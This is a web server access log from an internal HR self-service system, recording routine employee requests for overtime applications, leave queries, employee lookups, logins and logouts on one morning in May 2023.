192.168.11.172 - - [25/May/2023:10:29:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:29:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.172 - - [25/May/2023:10:29:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.172 - - [25/May/2023:10:29:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:29:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:29:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.141 - - [25/May/2023:10:29:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19717662808404368 HTTP/1.1" 200 -
192.168.11.141 - - [25/May/2023:10:29:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19717662808404368 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19717662808404368" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:10:31:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:10:31:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.236 - - [25/May/2023:10:31:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:10:31:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.236 - - [25/May/2023:10:31:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.236 - - [25/May/2023:10:31:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:10:31:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:10:31:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.236 - - [25/May/2023:10:31:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:10:31:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.83 - - [25/May/2023:10:32:13 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.83 - - [25/May/2023:10:32:13 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:33:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101
192.168.12.71 - - [25/May/2023:10:33:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:31:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:31:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.11.172 - - [25/May/2023:10:29:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.11.172 - - [25/May/2023:10:29:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:10:31:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:10:31:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.172 - - [25/May/2023:10:34:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:34:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.11.172 - - [25/May/2023:10:34:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:34:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.172 - - [25/May/2023:10:34:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:34:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.172 - - [25/May/2023:10:35:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:35:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.172 - - [25/May/2023:10:35:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:35:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30
192.168.11.141 - - [25/May/2023:10:35:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6518260652441044 HTTP/1.1" 200 8640 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:10:35:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6518260652441044 HTTP/1.1" 200 8640
192.168.11.172 - - [25/May/2023:10:35:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:35:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.11.172 - - [25/May/2023:10:36:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.11.172 - - [25/May/2023:10:36:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:36:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:36:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.172 - - [25/May/2023:10:38:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.172 - - [25/May/2023:10:38:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:38:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:38:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.172 - - [25/May/2023:10:38:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30
192.168.11.172 - - [25/May/2023:10:38:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:38:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:38:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.172 - - [25/May/2023:10:38:26 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.11.172 - - [25/May/2023:10:38:26 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:10:37:36 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6518260652441044 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6518260652441044" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:10:37:36 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6518260652441044 HTTP/1.1" 200 139
192.168.11.141 - - [25/May/2023:10:36:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6518260652441044 HTTP/1.1" 200 -
192.168.11.141 - - [25/May/2023:10:36:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6518260652441044 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6518260652441044" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:38:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:38:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.172 - - [25/May/2023:10:39:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:39:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.11.172 - - [25/May/2023:10:39:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:39:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.11.172 - - [25/May/2023:10:39:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22043
192.168.11.172 - - [25/May/2023:10:39:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22043 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:10:40:09 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.17788490335385165 HTTP/1.1" 200 8640
192.168.11.141 - - [25/May/2023:10:40:09 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.17788490335385165 HTTP/1.1" 200 8640 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:10:40:11 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.17788490335385165 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.17788490335385165" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:10:40:11 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.17788490335385165 HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:10:44:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101
192.168.12.71 - - [25/May/2023:10:44:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:44:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:44:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.172 - - [25/May/2023:10:44:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:44:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.71 - - [25/May/2023:10:44:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.12.71 - - [25/May/2023:10:44:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:44:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:10:44:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:45:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:45:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:10:46:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101
192.168.12.71 - - [25/May/2023:10:46:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:46:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 82879
192.168.12.71 - - [25/May/2023:10:46:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 82879 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.97 - - [25/May/2023:10:47:11 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.97 - - [25/May/2023:10:47:11 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:10:47:17 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.97 - - [25/May/2023:10:47:17 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:10:47:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
